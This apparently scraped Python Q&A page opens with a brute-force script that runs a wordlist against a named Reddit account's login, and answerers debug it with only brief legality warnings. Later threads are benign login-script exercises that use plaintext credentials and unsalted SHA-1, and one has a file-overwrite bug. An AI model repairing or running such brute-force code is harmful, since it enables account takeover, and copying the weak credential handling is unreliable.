bruteforce attack with requests - code keeps trying the same password - python

I have this piece of code and when I run it, it just repeats the same password over and over!
import requests
url = 'https://www.reddit.com/login/'
arq = open('C:/Users/Amel/Desktop/Python/BruteForce/wordlist.txt')
for line in arq:
password = line.strip()
http = requests.put(url,
data={'loginUsername' : 'skoolees', 'loginPassword' : password,
'AnimatedForm__submitButton' : 'submit'})
content = http.content
while url == 'https://www.reddit.com/login/':
print('Password incorrect : ', password)
while url == 'https://www.reddit.com':
print('Password correct : ', password)
break

Hay Amel, you should use a if elif instead of while
You while url == 'https://www.reddit.com/login/' will never be evaluated at false because you do not change the value of url.
Furthermore, you want to check against the output, not the unchanged variable url
Try this instead
if http.url == 'https://www.reddit.com/login/':
print('Password incorrect : ', password)
elif http.url == 'https://www.reddit.com':
print('Password correct : ', password)
break
Be aware this is not legal and forbidden by reddit code of conduct.

What is the purpose of the while loops? Have you tried to change them to if?
Also, you probably want to check the URL of the response (in your case http.url), not the variable url.
...
http = requests.put(...
...
if http.url == 'https://www.reddit.com/login/':
print('Password incorrect : ', password)
else:
print('Password correct : ', password)
Note: bruteforcing reddit is probably not allowed and they most likely have a ratelimiting mechanism that will stop you after a few tries.

Related

Why am I getting this error? (KeyError: 'username')

I'm asking the user for an email, and then sending it to an email verification api, which I then get certain bits of info from. I'm getting a KeyError: 'username' and I have no idea why I'm getting that error. It's also annoying to test since they ratelimit after ~5 attempts
import json, requests, sys
emailInput = ""
def printHelp():
print("Proper usage is: python test.py [email]")
if len(sys.argv) < 2:
printHelp()
sys.exit()
elif len(sys.argv) == 2 and sys.argv[1] == "--help":
printHelp()
sys.exit()
elif len(sys.argv) == 2 and sys.argv[1] != "--help":
emailInput = str(sys.argv[1])
url = 'https://api.trumail.io/v2/lookups/json?email=' + str(emailInput)
res = requests.get(url)
res.raise_for_status()
resultText = res.text
emailInfo = json.loads(resultText)
print("\nEmail Analyzer 1.0\n\nInformation for email: " + sys.argv[1])
print("=====================================================")
print("Username: " + str(emailInfo["username"]))
print("Domain: " + str(emailInfo["domain"]))
print("Valid Format: " + str(emailInfo["validFormat"]))
print("Deliverable: " + str(emailInfo["deliverable"]))
print("Full Inbox: " + str(emailInfo["fullInbox"]))
print("Host Exists: " + str(emailInfo["hostExists"]))
print("Catch All: " + str(emailInfo["catchAll"]))
print("Disposable: " + str(emailInfo["disposable"]))
print("Free: " + str(emailInfo["free"]))
The reason is because a user enters an email that might seem valid - i.e. it's a valid email address with an # symbol etc. - but the email likely does not exist or is not in use.
For example, I ran your script with the following dummy input:
emailInput = 'acdefg#gmail.com'
After I added a print(emailInfo) statement for debugging purposes, this is what I found to be the output from the server:
{'Message': 'No response received from mail server'}
Therefore, your goal here will be to validate the server output. That is, in the case of a valid email that does not exist, you will receive an HTTP 200 (OK) response from the server with a Message field alone populated in the JSON response object. The task here will be to correctly detect the presence of this key, and then run a separate logic other than the happy path, which was already being handled above.
Your error is coming from the fact that emailInfo does not have a key username. Perhaps use emailInfo.get("username", default_value), where default_value is any value you would like if there is no username.
The line with the error is print("Username: " + str(emailInfo["username"]))

Enter and Save username and password into same file

I want a user to be able to enter a new username and password and it saves it into the same file so it can be used for the login process that would come after. The user should be able to enter a new username into an input and the same for the password then it is saved to the file to be used later. I would do this myself but i don't know how to save it to the same file.
import time
import sys
uun = "test"
uun01 = "test01"
uun02 = "test02"
usernames = (uun+uun01+uun02)
upw = "test"
upw01 = "test01"
upw02 = "test02"
passwords = (upw+upw01+upw02)
max_attempts = 3
attempts = 0
while True:
print("Username")
username = input("")
print("Password")
password = input("")
if username in usernames and password in passwords:
print("Access Granted")
else:
attempts+=1
if attempts >= max_attempts:
print(f"reached max attempts of {attempts} ")
sys.exit()
print("Try Again (10 sec)")
time.sleep(10)
continue
break
First thing I do when deciding how to file data is think about how I want to access it later - this determines the data structure. A couple examples are, just straight key : value dictionary (username : password) to search by username or maybe entrytime : (username, password) to search by when the entry was made.
Once that is decided, format into a string and write to file. A simple print() of your data structure will show how it looks 'in the raw' and how you might want to format it for easy access later.

Trying to make a simple login system using a dictionary in python

def getlogins():
from requests import get
url = "https://raw.githubusercontent.com/Ezb2661/lol/master/loginstest"
return get(url).text
logins = getlogins()
logins = logins[:-1]
username = input("Username:")
username = str(username)
password = input("Password: ")
password = str(password)
if password == logins[username]:
print("Logged in!")
else:
print("Wrong password or username")
Whenever I run this, it does prompt for username and password, but then it says there is an error on line 15 of :
TypeError: string indices must be integers
Fixed this by fixing my json format to {"ezb2661": "test"} rather than {"ezb2661:test"}, and then using
return loads( get(url).text )

Python- Pass control flow back to top of the script

I am trying to fetch the contents of a page using Requests.The URL has 3 parameters:
Unique page ID
Username
Password
My initial block of code looks like this :
import requests
id = raw_input("Enter the unique id:")
user = raw_input("Enter your username:")
password = raw_input("Enter corresponding password:")
try:
r = requests.get('http://test.com/request.pl?id=' + id, auth=(user, password))
if r.status_code == 404:
print "No such page exists.Please check the ID and try again"
## Ask for input again
else:
print r.text
except requests.ConnectionError:
print "Server is refusing connections.Please try after sometime"
sys.exit(1)
My issue is on the commented line wherein i want the user to be prompted for the input again.How do I pass the control flow back to the top of the script.
I have a vague feeling that I might be doing this in a very crude way and there might be more elegant solutions using functions.If there are any,please do enlighten me.
This will do what actually you want.
import requests
def user_input():
id1 = raw_input("Enter the unique id:")
user = raw_input("Enter your username:")
password = raw_input("Enter corresponding password:")
try:
r = requests.get('http://test.com/request.pl?id='+ id1 + user + password)
if r.status_code == 404:
print "No such page exists.Please check the ID and try again"
## Ask for input again
user_input()
else:
print r.text
except requests.ConnectionError:
print "Server is refusing connections.Please try after sometime"
sys.exit(1)
user_input()
The simplest (but not necessarily the most extensible) way is to put everything in a while True loop.
import requests
while True:
id = raw_input("Enter the unique id:")
user = raw_input("Enter your username:")
password = raw_input("Enter corresponding password:")
try:
r = requests.get('http://test.com/request.pl?id=' + id, auth=(user, password))
if r.status_code == 404:
print "No such page exists.Please check the ID and try again"
## control flow will reach the bottom and return to the top
else:
print r.text
break
except requests.ConnectionError:
print "Server is refusing connections.Please try after sometime"
sys.exit(1) ## Exit condition of the loop
I would place this code in a while loop that always executes while True: and have a flag that allows you to break out of the loop appropriately.

Python Login Script; Usernames and Passwords in a separate file

I'm looking for assistance to get my Python script to imitate a log-in feature while the credentials are stored in a separate file.
I got it to work from hard-coded Username and Password, and it also reads in a file, but I'm having some difficulty finding out how to link the two together.
Any assistance is appreciated.
The Python script is as follows:
print "Login Script"
import getpass
CorrectUsername = "Test"
CorrectPassword = "TestPW"
loop = 'true'
while (loop == 'true'):
username = raw_input("Please enter your username: ")
if (username == CorrectUsername):
loop1 = 'true'
while (loop1 == 'true'):
password = getpass.getpass("Please enter your password: ")
if (password == CorrectPassword):
print "Logged in successfully as " + username
loop = 'false'
loop1 = 'false'
else:
print "Password incorrect!"
else:
print "Username incorrect!"
I found this somewhere else that helped me read the file in, and it does print the contents of the text file, but I am unsure on how to progress from this:
with open('Usernames.txt', 'r') as f:
data = f.readlines()
#print data
for line in data:
words = line.split()
The text file contains the Usernames and Passwords in a format of: Test:TestPW Chris:ChrisPW Admin:AdminPW with each credential on a new line.
As I said previously, any help is appreciated!
Thanks.
You could start having a dictionary of usernames and passwords:
credentials = {}
with open('Usernames.txt', 'r') as f:
for line in f:
user, pwd = line.strip().split(':')
credentials[user] = pwd
Then you have two easy tests:
username in credentials
will tell you if the username is in the credentials file (ie. if it's a key in the credentials dictionary)
And then:
credentials[username] == password
import hashlib ,os
resource_file = "passwords.txt"
def encode(username,password):
return "$%s::%s$"%(username,hashlib.sha1(password).hexdigest())
def add_user(username,password):
if os.path.exists(resource_file):
with open(resource_file) as f:
if "$%s::"%username in f.read():
raise Exception("user already exists")
with open(resource_file,"w") as f:
print >> f, encode(username,password)
return username
def check_login(username,password):
with open(resource_file) as f:
if encode(username,password) in f.read():
return username
def create_username():
try:
username = add_user(raw_input("enter username:"),raw_input("enter password:"))
print "Added User! %s"%username
except Exception as e:
print "Failed to add user %s! ... user already exists??"%username
def login():
if check_login(raw_input("enter username:"),raw_input("enter password:")):
print "Login Success!!"
else:
print "there was a problem logging in"
while True:
{'c':create_username,'l':login}.get(raw_input("(c)reate user\n(l)ogin\n------------\n>").lower(),login)()
You should not use 2 loops. It would just tell the person that they guessed the username. Just saying. use one loop.
also check my repl.it it page for a better sso that can have like 100 people at once without else if statements
Here it is: https://repl.it/#AmazingPurplez/CatSSO
Has errors. Was developed only by me so +rep to me.
rep to: Joran Beasley
Could not post code here because of "indention errors" like frick it! but I will still try a simpler version
import getpass
username = "username"
password = "password"
loop = True
while loop == True:
userinput = input("question")
passinput = getpass.getpass("question")
if userinput == username and passinput == password:
statements
break
else:
statements
username = raw_input("Username:")
password = raw_input("Password:")
if password == "CHANGE" and username == "CHANGE":
print "Logged in as CHANGE"
else:
print "Incorrect Password. Please try again."

Categories